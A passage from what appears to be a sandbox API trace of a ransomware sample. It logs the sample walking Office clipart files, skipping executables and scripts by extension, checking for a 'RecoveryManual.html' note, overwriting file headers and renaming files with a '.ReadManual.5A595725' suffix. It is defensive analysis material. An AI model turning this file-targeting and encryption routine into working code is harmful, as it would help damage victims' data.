lpOverlapped=0x0) returned 1 [0262.676] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.676] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb4) returned 0x2f0000 [0262.676] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.676] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38334490204) returned 1 [0262.676] CloseHandle (hObject=0x184) returned 1 [0262.676] SetSecurityInfo () returned 0x57 [0262.676] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.676] CloseHandle (hObject=0x194) returned 1 [0262.677] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0262.677] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EAST_01.MID" | out: lpString1="EAST_01.MID") returned="EAST_01.MID" [0262.677] lstrcmpiW (lpString1="EAST_01.MID", lpString2="RecoveryManual.html") returned -1 [0262.677] StrStrIW (lpFirst="EAST_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.677] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0262.677] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0262.677] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0262.677] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0262.677] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0262.677] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0262.677] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0262.677] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0262.677] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0262.678] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0262.678] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0262.678] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0262.678] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0262.678] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0262.678] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" [0262.678] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.ReadManual.5A595725" [0262.678] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.ReadManual.5A595725") returned 86 [0262.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38334656632) returned 1 [0262.678] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0262.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.679] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6165) returned 1 [0262.679] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1815, lpName=0x0) returned 0x184 [0262.679] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0262.680] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.680] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.682] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.682] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1815) returned 0x2f0000 [0262.682] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.682] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38335085610) returned 1 [0262.682] CloseHandle (hObject=0x184) returned 1 [0262.682] SetSecurityInfo () returned 0x57 [0262.682] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.682] CloseHandle (hObject=0x194) returned 1 [0262.682] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0262.682] lstrcpyW (in: lpString1=0x6ab90a, lpString2="ED00010_.WMF" | out: lpString1="ED00010_.WMF") returned="ED00010_.WMF" [0262.682] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.683] StrStrIW (lpFirst="ED00010_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.683] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.683] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.683] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" [0262.683] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.ReadManual.5A595725" [0262.683] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.ReadManual.5A595725") returned 87 [0262.683] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38335185173) returned 1 [0262.683] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0262.684] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.684] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1382) returned 1 [0262.684] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x566, lpName=0x0) returned 0x184 [0262.684] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.685] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.685] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.687] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.687] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x566) returned 0x2f0000 [0262.687] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.687] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38335588529) returned 1 [0262.687] CloseHandle (hObject=0x184) returned 1 [0262.687] SetSecurityInfo () returned 0x57 [0262.687] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.687] CloseHandle (hObject=0x194) returned 1 [0262.688] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0262.688] lstrcpyW (in: lpString1=0x6ab90a, lpString2="ED00019_.WMF" | out: lpString1="ED00019_.WMF") returned="ED00019_.WMF" [0262.688] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.688] StrStrIW (lpFirst="ED00019_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.688] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.688] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.688] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" [0262.688] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.ReadManual.5A595725" [0262.688] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.ReadManual.5A595725") returned 87 [0262.688] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38335698739) returned 1 [0262.688] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0262.688] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.689] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13042) returned 1 [0262.689] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32f2, lpName=0x0) returned 0x184 [0262.689] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.689] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.689] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.691] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.691] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32f2) returned 0x2f0000 [0262.692] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.692] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38336048111) returned 1 [0262.692] CloseHandle (hObject=0x184) returned 1 [0262.692] SetSecurityInfo () returned 0x57 [0262.692] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.692] CloseHandle (hObject=0x194) returned 1 [0262.693] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0262.693] lstrcpyW (in: lpString1=0x6ab90a, lpString2="ED00172_.WMF" | out: lpString1="ED00172_.WMF") returned="ED00172_.WMF" [0262.693] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.693] StrStrIW (lpFirst="ED00172_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.693] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.693] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.693] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" [0262.694] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.ReadManual.5A595725" [0262.694] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.ReadManual.5A595725") returned 87 [0262.694] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38336235630) returned 1 [0262.694] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0262.695] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.695] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2700) returned 1 [0262.695] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8c, lpName=0x0) returned 0x184 [0262.695] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.696] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.696] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.698] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.698] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8c) returned 0x2f0000 [0262.698] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38336681985) returned 1 [0262.698] CloseHandle (hObject=0x184) returned 1 [0262.698] SetSecurityInfo () returned 0x57 [0262.698] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.698] CloseHandle (hObject=0x194) returned 1 [0262.699] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0262.699] lstrcpyW (in: lpString1=0x6ab90a, lpString2="ED00184_.WMF" | out: lpString1="ED00184_.WMF") returned="ED00184_.WMF" [0262.699] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.699] StrStrIW (lpFirst="ED00184_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.699] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.699] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.700] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.700] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" [0262.700] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.ReadManual.5A595725" [0262.700] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.ReadManual.5A595725") returned 87 [0262.700] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38336842417) returned 1 [0262.700] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0262.700] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.701] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6958) returned 1 [0262.701] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b2e, lpName=0x0) returned 0x184 [0262.701] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.702] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.702] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.703] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.703] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b2e) returned 0x2f0000 [0262.703] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.704] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38337230278) returned 1 [0262.704] CloseHandle (hObject=0x184) returned 1 [0262.704] SetSecurityInfo () returned 0x57 [0262.704] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.704] CloseHandle (hObject=0x194) returned 1 [0262.704] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0262.705] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00006_.WMF" | out: lpString1="EN00006_.WMF") returned="EN00006_.WMF" [0262.705] lstrcmpiW (lpString1="EN00006_.WMF", 